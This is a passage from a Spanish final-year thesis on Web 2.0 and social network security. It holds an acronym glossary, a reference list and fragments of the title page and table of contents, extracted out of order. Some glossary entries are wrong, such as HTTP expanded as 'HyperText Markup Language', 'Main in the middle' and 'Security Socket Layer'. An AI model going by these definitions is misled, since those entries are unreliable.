CPD Centro de Procesamiento de datos
CPU Central Processing Unit
CSRF Cross-site Request Forgery
CSS Cascading Style Sheets
Cvidaclub Red social para la calidad de vida
Dale Dougherty Creador concepto Web 2.0
daleAlPlay Red social de Fotografía&Video
DDoS Distributed Denial of Service
Delicious Red social de tipo Social
DHCP Dynamic Host Configuration Protocol (
Digg Red social de tipo comunidad
DNI-e Documento Nacional de Identidad electronico
DNS Domain Name System
DOM Document Object Model
DoS Denial of Service
DropBox Red social de Infraestructura&Almacenamiento
Drupal Red social de tipo comunidad
DWR Direct Web Remoting
eBanking Baca electrónica
eBay Red social de comercio electrónico
e-Commerce Comercio electrónico
Elance Red social de tipo Profesionales&Productividad
eMail Correo electrónico
eMusic Red social de tipo Música&Sonido
Etsy Red social de comercio electrónico
Facebook Red social de tipo Social
Feeds Medio de redifusión de contenido web
Finetune Red social de tipo Música&Sonido
Firewall Cortafuegos
FirstDialog Red social de tipo Profesionales&Productividad
FixMyMovie Red social de Fotografía&Video
Flickr Red social de Fotografía&Video
Flood Inundación
FotoFlexer Red social de Fotografía&Video
Fotolog Red social de Fotografía&Video
FreeWebs Red social de tipo Profesionales&Productividad
Friendster Red social de tipo social
FTP File Transfer Protocol
Página 370
sociales
Gaia Red social de entretenimiento

Google Red social de Búsquedas&Referencias
Google AdWords Red social de publicidad
Google Calendar Red social de tipo Profesionales&Productividad
Google Docs Red social de tipo Profesionales&Productividad
Google Earth Red social de Búsquedas&Referencias
Google Groups Red social de tipo Social
Google Maps Red social de Búsquedas&Referencias
Grooveshark Red social de tipo Música&Sonido
Gtalk Aplicación de Comunicaciones&Mensajería
GWT Google Web Toolkit
Hakia Red social de Búsquedas&Referencias
Hi5 Red social de tipo Social
HTTP HyperText Markup Language
HTTP5 HyperText Markup Language, versión 5
HTTPS Hypertext Transfer Protocol Secure
IA Inteligencia Artificial
iChat Aplicación de Comunicaciones&Mensajería
ICMP Internet Control Message Protocol
IEC Comisión Electrotécnica Internacional
iGoogle Red social de tipo social
iLike Red social de tipo Música&Sonido
iOs Sistema operativo de Apple
IP Internet Protocol
ISO Organización Internacional para la Estandarización
ISO/IEC 27000 Estándares de seguridad publicados por la ISO y IEC
ISP Internet Service Provider
ISS Microsoft Internet Information Server
iTunes Red social de tipo Música&Sonido
Jamendo Red social de tipo Música&Sonido
JamLegend Red social de tipo Música&Sonido
JCC Java Script Client Comunication
Joost Red social de Fotografía&Video
JSON JavaScript Object Notation
JSP JavaServer Pages
Kaboodle Red social de comercio electrónico
Kayak Red social de comercio electrónico
LAMP Linux, Apache, SQL, PHP, Perl o Python
LAN Local Area Network
LastFM Red social de tipo Música&Sonido
LDAP Lightweight Directory Access Protocol
LinkedIn Red social de tipo Profesionales&Productividad
Página 371
sociales
Live365.com Red social de tipo Música&Sonido

LiveJournal Red social de tipo Social
LogMeIn Red social de Infraestructura&Almacenamiento
LOPD Ley Orgánica 15/1999, de 13 diciembre. Regula la
Protección de Datos de Carácter Personal)
LORTAD Ley Orgánica de Regulación del Tratamiento Automatizado
de los Datos de Carácter Personal
LSSI Ley de Servicios de la Sociedad de la Información y de
Comercio Electrónico
MathML Mathematical Markup Language
Meebo Red social de tipo Social
Meneame Red social de tipo comunidad
Metodología UIT-T Metodología UIT-T X.805: Security architecture for
X.805 systems providing end-to-end communications
Microsoft Live Search Red social de Búsquedas&Referencias
Microsoft’s Zune Red social de tipo Música&Sonido
Marketplace
Mint Red social de tipo Profesionales&Productividad
Miro Red social de Fotografía&Video
MItM Main in the middle attack
Mozy Red social de Infraestructura&Almacenamiento
MySapce Bebo Red social de tipo Social
Netflix Red social de Fotografía&Video
Netvibes Red social de tipo Social
NexusRadio Red social de tipo Música&Sonido
NING Red social de tipo Social
OASIS Organization for the Advancement of Structured
Information Standards
Office Live Workspace Red social de tipo Profesionales&Productividad
ooVoo Aplicación de Comunicaciones&Mensajería
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OpenID Red social de Infraestructura&Almacenamiento
Opensource Código abierto
OPML Outline Processor Markup Language
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OWL Web Ontology Language
P2P Peer to peer
Pando Red social de Infraestructura&Almacenamiento
Pandor Red social de tipo Música&Sonido
PayPal Red social de comercio electrónico
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Photobucket Red social de Fotografía&Video
Página 372
sociales
Picasa Red social de Fotografía&Video

Pidgin Aplicación de Comunicaciones&Mensajería
Pingflood Inundación por ping
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RedSocialPymes Red social de tipo Profesionales&Productividad
Remember the Milk Red social de tipo Profesionales&Productividad
REST Representational State Transfer
RIA Rich Internet Application
RIP Routing Information Protocol
RoR Ruby on Rails
RSS Really Simple Syndication
SAX Simple API for XML
ShareFile Red social de Infraestructura&Almacenamiento
Skype Aplicación de Comunicaciones&Mensajería
SMIL Synchronized Multimedia Integration Language
SMTP Simple Mail Transfer Protocol
SNMP Protocolo Simple de Administración de Red
SNMP Simple Network Management Protocol
SOA Service-oriented Architecture
SOAP Simple Object Access Protocol
Spoofing Técnicas de suplantación de identidad
Spotify Red social de tipo Música&Sonido
SQL Structured Query Language
SSH Secure Shell
SSL Security Socket Layer
SSO Single sign-on
SVG Scalable Vector Graphics
SYN Bit de control en el segmento TCP
Taringa! Red social de tipo comunidad
TCP Transmission Control Protocol
TCP Transmission Control Protocol
The long tail La larga cola
TLS Transport Layer Security
Trillian Aplicación de Comunicaciones&Mensajería
Tuenti Red social de tipo Social
tuTV Red social de Fotografía&Video
Twitter Red social de tipo Social
UDDI Universal Description, Discovery and Integration
URI Uniform Resource Identifier
URL Uniform Resource Locator
uStream Red social de Fotografía&Video
Veodia Red social de Fotografía&Video
Página 373
sociales
Viadeo Red social de tipo Profesionales&Productividad

Vimeo Red social de Fotografía&Video
VoiceThread Red social de Fotografía&Video
W3C World Wide Web Consortium
WAI Web Accessibility Initiative
Webshots Red social de Fotografía&Video
Widnows Live Space Red social de tipo Social
Wikia Red social de Búsquedas&Referencias
Wikipedia Red social de Búsquedas&Referencias
Windows Live Aplicación de Comunicaciones&Mensajería
Messenger
Windows Live SkyDrive Red social de Infraestructura&Almacenamiento
Woot! Red social de comercio electrónico
WordPress Red social de tipo comunidad
Worms Gusanos
Worth1000 Red social de tipo comunidad
WSDL Web Services Description Language
WS-Security Web Service Security
WYSIWYG What You See Is What You Get
WYSIWYM What You See Is What You Mean
XHTML eXtensible Hypertext Markup Language
Xing Red social de tipo Profesionales&Productividad
XML eXtensible Markup Language
XML-RPC XML Remote Procedure Call
XQL XML Query Language
XSLT Extensible Stylesheet Language Transformations
XSS Cross-site scripting
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Yahoo! Calendar Red social de tipo Profesionales&Productividad
Yahoo! Groups Red social de tipo Social
Yahoo! Messenger Aplicación de Comunicaciones&Mensajería
Yahoo! Search Red social de Búsquedas&Referencias
Yahoo! Shopping Red social de comercio electrónico
Yammer Red social de tipo comunidad
YouSendIt Red social de Infraestructura&Almacenamiento
Youtube Red social de Fotografía&Video
Zillow Red social de comercio electrónico
ZipRealty Red social de comercio electrónico
Zoho Red social de tipo Profesionales&Productividad
Página 374
sociales
Referencias
En este apartado se incluyen las referencias principales del proyecto. No todas las referencias
están incluidas aquí pero si durante todo el transcurso del proyecto haciendo referencia
específicamente a las partes donde están contenidas.
[Wikipedia] Wikipedia [Internet]: <http://es.wikipedia.org/ > [2009-2011].
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de la Universidad Politécnica de Madrid..
[Diario El País] “¿Debemos fiarnos de Wikipedia?” del diario El País y de la autora Carmen
Pérez-Lanzac. [Internet].
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[Oreilly] “What is Web 2.0” [Internet]. <http://oreilly.com/web2/archive/what-is-web-

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[Aplicaciones web]”Aplicaciones obtenidas de la web” [Internet]

<http://wwwhatsnew.com/recopilacion> [septiembre de 2009].
[Facebook vs MySpace] “Facebook now twice as big as MySpace? Oh boy” de Caroline

McCarthy escritora de CNet [Internet]. <http://news.cnet.com/8301-13577_3-
10148855-36.html?tag=mncol;title> [septiembre de 2009].
[Tuenti] Conferencia que realizó Zaryn a los nuevos alumnos graduados de la IE

Universidad de Segovia sobre la “Creación de Tuenti” [Video].
<http://www.youtube.com/watch?v=NLEZouEe8ZA&feature=PlayList&p=954E245F4
A4DF71D&playnext=1&playnext_from=PL&index=4> [febrero de 2010].
[IBM servidores] Servidores iDataPlex IBM. Ventajas [Internet].

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[Twitter] “¿Qué es Twitter?” [Video] <http://www.youtube.com/watch?v=_8y79gnc35E>

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Página 375
sociales
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[McAfee] “McAfee at the World Economic Forum”, Davos. [Internet]

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[Europol] Internet Facilitated Organised Crime, threat assesment de la Europol. [Internet]

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[Top 10 Attack Vector] “Top 10 Web 2.0 Attack Vectors” por Shreeraj Shah. Descarga de la
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[Top 10 Web Attacks] “Top 10 Web Attacks” ataques web más frecuentes según el OWASP -
Open Web Aplication Security Project [Internet] <http://www.owasp.org/> (abril de 2010).
[El Hacker] El Hacker.net, web de hacking y seguridad [Internet] < http://www.elhacker.net>

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[Hispasec] Hispasec, web de seguridad [Internet] < http://www.hispasec.com> (2010-2011).
[ISO] Normas ISO 27000 de seguridad [Internet] <http://www.27000.org/> (2010-2011).
[LOPD] Ley Orgánica 15/1999, de 13 diciembre. Regula la Protección de Datos de Carácter

Personal. [Internet] <http://www.boe.es/aeboe/consultas/bases_datos/doc.php?id=BOE-A-
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[LSSI] Ley de Servicios de la Sociedad de la Información y de Comercio Electrónico (LSSI).

[Internet] <http://www.mityc.es/dgdsi/lssi/Documents/ltriptico.pdf> (octubre de 2010).
[Policia] Brigada de Investigación Tecnológica (Cuerpo nacional de policía)[Internet]

<http://www.policia.es/bit/> (julio de 2010).
[Mitc] Ministerio de Industria, Turismo y Comercio [Internet] <http://www.mityc.es/es-

ES/Paginas/index.aspx> (julio de 2010).
[Micin] Ministerio de Ciencia e Innovación [Internet]

<http://www.micinn.es/portal/site/MICINN/> (julio de 2010).
[AEPD] Agencia Española de Protección de Datos [Internet] <https://www.agpd.es> (julio de

2010).
[Protegeles] Protégeles, web de seguridad para menores. [Internet]

<http://www.protegeles.com/> (julio de 2010).
[Chaval] Chaval, web de seguridad para menores. [Internet]

<http://www.chaval.es/chavales/page?p=index> (agosto 2010).
[Ins@fe:] Ins@fe [Internet] <http://www.saferinternet.org> (agosto de 2010).
[Facebook] “Facebook Terrorista: La nueva arma del Ejército de EE.UU” por la web
CubaDebate [Internet] <http://www.cubadebate.cu/noticias/2009/08/19/facebook-terrorista-
la-nueva-arma-del-ejercito-de-los-estados-unidos/> (septiembre de 2010).
Página 377
sociales
[Conference data protection] 32nd International Conference of Data Protection and Privacy
Commissioners [Internet] <http://www.justice.gov.il/PrivacyGenerations> (septiembre de
2010).
[OpenID] Fundación OpenID en los Estados Unidos o desde su filian en Europa [Internet]
<http://www.openid.es/> <http://openid.net/> (enero de 2010).
[Seguridad 2.0] “Security in a Web 2.0 World” por C. Solari. Editorial Wiley [Libro] (marzo de
2010).
[Seguridad] “Destripa la red 2011”. Editorial Anaya [Libro] (enero de 2011).
[Seguridad] “La Biblia del hacker” edición 2009. Editorial Anaya [Libro] (2010).
Página 378

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PROYECTO FIN DE CARRERA

Grupo Docente: Seguridad en las

Tutor: Daniel Garzón Rubio

Título: ASPECTOS DE SEGURIDAD EN WEB 2.0 Y REDES SOCIALES

Agradezco al profesor Daniel Garzón Rubio por permitirme la realización de este

También quiero agradecer todo el apoyo ofrecido por mis compañeros de

4.1.8. Comunidad ............................................................................................................... 58

10.3.1.2. ¿Qué es un CMS? ..............................................................................................98

11.3.3.2. Trucos de seguridad para smartphones: .......................................................... 157

12.5. Red de Webs 2.0, conexión entre portales .................................................................... 213

14.7.2. Protégeles ............................................................................................................. 277

15.3.7. Noticias.................................................................................................................. 342

Ilustración 39. iOS. ............................................................................................................... 149

Ilustración 78. Insafe. ............................................................................................................ 281

El proyecto va enfocado a la seguridad en redes sociales y Web 2.0. La motivación principal es

En base a ese objetivo principal, se proponen los siguientes objetivos parciales:

Conocer el concepto de Web 2.0 así como su historia y desarrollo.

Desarrollar las vulnerabilidades, amenazas a la seguridad, ataques y medidas de

1.3. Fases de desarrollo

Finalmente resultó interesante desarrollar los anexos que se encuentran en la tesis.

1.4. Medios empleados

1.5. Estructura de la memoria

Primera parte Aspectos de seguridad en Web 2.0 y redes sociales

Capítulo 1 Introducción y objetivos: capítulo actual.

Segunda parte Aspectos de seguridad en Web 2.0 y redes sociales

Capítulo 9 Introducción a la seguridad 2.0: descripción de lo que se va a desarrollar

o Top 10 Web 2.0 vectores de ataque.

2.2. Web 1.0, la Web de los datos

2.3. Web 2.0, la web de las personas

2.3.1. Características de las Web 2.0

Los tres beneficios más importantes son:

- La gran mayoría de portales 2.0 son gratuitos.

Podemos describir la Web 2.0 se puede describir en tres partes:

- RIA (Rich Internet Application): define la experiencia desde el escritorio al navegador

2.3.2. Un poco de historia Web 2.0

Dale Dougherty vicepresidente de O’Reailly y Craig Cline de MediaLive se

2.3.3. Nueva visión. ¿Qué provocan las Web 2.0?

- Millones de nuevas herramientas, sistemas y plataformas de fácil uso para publicar

2.3.4. Wikipedia, la Web 2.0 por excelencia

Ilustración 2. Portal de Wikipedia.

Wikipedia ha generado muchas críticas debido a la falta de verificación de la información, se

2.4. Comparación: Web 1.0 y Web 2.0

Tabla 1. Artículo “What is Web 2.0” de Tim O’Reilly.

Web 1.0 Web 2.0

2.5. Web 3.0, Web semántica

3.1.1. Clasificación por uso

3.1.2. Por tipo de aplicación

Tabla 2. Redes Sociales. Categoría: Social.

Twitter es un portal de microblogging que permite al usuario

Windows Live Spaces

Ning es un servicio online para crear nuestra propia red

Tabla 3. Redes Sociales. Categoría: Comunicaciones&Mensajería.

Gtalk es una aplicación para chatear de Google integrada en

Windows Live Messenger

Windows Live Messenger es un cliente de mensajería

AIM o AOL Instant Messenger es un cliente de mensajería

Skype es un cliente de chat y video en streaming. Permite la

Yahoo! Messenger es un cliente de mensajería instantánea

Trillian es una aplicación de mensajería instantánea